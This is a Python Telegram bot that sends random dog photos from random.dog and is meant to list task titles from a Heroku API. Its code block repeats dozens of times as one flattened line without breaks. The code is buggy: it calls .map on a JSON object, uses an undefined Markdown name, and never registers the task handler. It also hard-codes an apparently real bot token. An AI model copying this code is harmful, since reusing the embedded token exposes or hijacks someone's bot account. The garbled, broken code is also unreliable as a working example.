dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) 